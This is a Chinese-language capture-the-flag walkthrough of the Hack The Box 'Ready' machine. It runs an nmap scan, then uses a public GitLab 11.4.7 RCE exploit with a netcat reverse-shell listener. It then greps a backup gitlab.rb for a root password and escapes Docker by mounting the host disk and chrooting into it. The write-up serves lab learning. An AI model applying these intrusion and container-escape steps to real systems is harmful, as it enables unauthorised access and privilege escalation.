zoukankan      html  css  js  c++  java
  • HTB Ready 10.10.10.220

    sudo vim /etc/hosts >> 10.10.10.220 ready.htb

    sudo nmap -T4 -A ready.htb

    Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-20 10:56 CST
    Warning: 10.10.10.220 giving up on port because retransmission cap hit (6).
    Nmap scan report for Ready.htb (10.10.10.220)
    Host is up (0.24s latency).
    Not shown: 976 closed ports
    PORT      STATE    SERVICE          VERSION
    22/tcp    open     ssh              OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
    80/tcp    filtered http
    417/tcp   filtered onmux
    1071/tcp  filtered bsquare-voip
    1088/tcp  filtered cplscrambler-al
    1090/tcp  filtered ff-fms
    1443/tcp  filtered ies-lm
    2002/tcp  filtered globe
    2004/tcp  filtered mailbox
    2020/tcp  filtered xinupageserver
    2288/tcp  filtered netml
    2399/tcp  filtered fmpro-fdal
    2638/tcp  filtered sybase
    2800/tcp  filtered acc-raid
    3005/tcp  filtered deslogin
    5030/tcp  filtered surfpass
    5080/tcp  open     http             nginx
    5280/tcp  filtered xmpp-bosh
    6580/tcp  filtered parsec-master
    7512/tcp  filtered unknown
    9100/tcp  filtered jetdirect
    9111/tcp  filtered DragonIDSConsole
    20031/tcp filtered unknown
    34571/tcp filtered unknown
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 230.75 seconds

    选择很少只有5080端口,浏览器访问5080端口。

    是一个自建的gitlab,注册一个账号,随便点一点看看有什么可用的信息,想到前段时间github企业版爆出的漏洞,推测这个靶机的漏洞就是gitlab的漏洞了,查看一下gitlab的版本。

    版本是Edition 11.4.7,搜索引擎搜索gitlab 11.4.7 exp,果然有漏洞,github上面找一个最新的exp,运行一下,按照脚本给出的提示,再开一个控制台nc -lvnp 42069

    nc连接成功之后,将shell改成terminal,不然有些命令无法执行。

    python3 -c "import pty;pty.spawn('/bin/bash')"

    export TERM=xterm

    到/home目录下查看目录,dude

    进入到dude目录下看到user.txt(user,flag)

    读取成功之后需要提前才能拿到root.flag,但是linPEAS上传不上去,应该是git用户的权限太低导致的,那么这个靶机的提权思路应该是利用靶机本身的一些特性区提权,使用sudo -l也提示没有改文件,权限太小了,找一下看有没有利用的文件,脚本之类的,到根目录下看到了root_pass文件,应该是没有这么简单的,但是还是试了一下,cat读取显示了一串字符串,然后su root 输入字符串,显示验证错误,果然没这么简单呢。

    在失去方向之后又重新温习了一遍linux基础知识后,opt是安装程序的目录,既然安装gitlab想来应该是有数据库一类的东西,看看能不能先把受限用户提权成为普通用户,到opt目录下看了一下,有两个文件夹 backup gitlab,既然有backup那就先看backup吧。

    cd backup
    ls
    docker-compose.yml  gitlab-secrets.json  gitlab.rb
    cat gitlab.rb
    cat gitlab.rb | grep password

    显示除了gitlab数据库之外还有docer-compose,估计是靶机的虚拟文件,查看了gitlab数据库文件之后,通过grep过滤,成功找到密码,但是没有用户名,直接用root吧,试试运气。

    成功提权到root用户之后,到root目录下面居然没有root.flag,那么刚刚看到的docker文件就不是靶机的虚拟机文件,而是在靶机之中还有一个docker虚拟机,那不用说看来是需要进行docker逃逸了,网上找了几篇docker逃逸的帖子学习了之后,先确定是不是docker虚拟机,查看/proc/1/cgroup文件,看是否有docker字段。

    确定了是docker虚拟机之后,使用最简单的越权读取文件方法去读取宿主机的root.flag本来应该还是需要判读是否为特权模式的,但是我没看懂怎么判断,无脑梭哈。

    mkdir /test
    cd /dev
    ls
    mount /dev/sd2 /test
    chroot /test

    挂载sd1的时候莫名的失败了,挂载sd2

    成功之后在test目录下就是宿主机的根目录了,读取root目录中的root.flag。

    PS:

    gitlab CVE:https://github.com/dotPY-hax/gitlab_RCE

    docker 逃逸:https://xz.aliyun.com/t/8558

  • 相关阅读:
    Linux 安装SonarQube
    Linux 安装postgresql
    如何为chrome浏览器设置socks5代理
    echarts tab切换宽度变为100px解决方案
    将url参数转为对象
    一行js代码实现时间戳转时间格式
    解决问题的方法论
    李笑来的幻灯课
    随便写写(最近更新于2021/07/18早)
    谈谈装系统这件事
  • 原文地址:https://www.cnblogs.com/TwoCousinElizabeth/p/14447788.html
Copyright © 2011-2022 走看看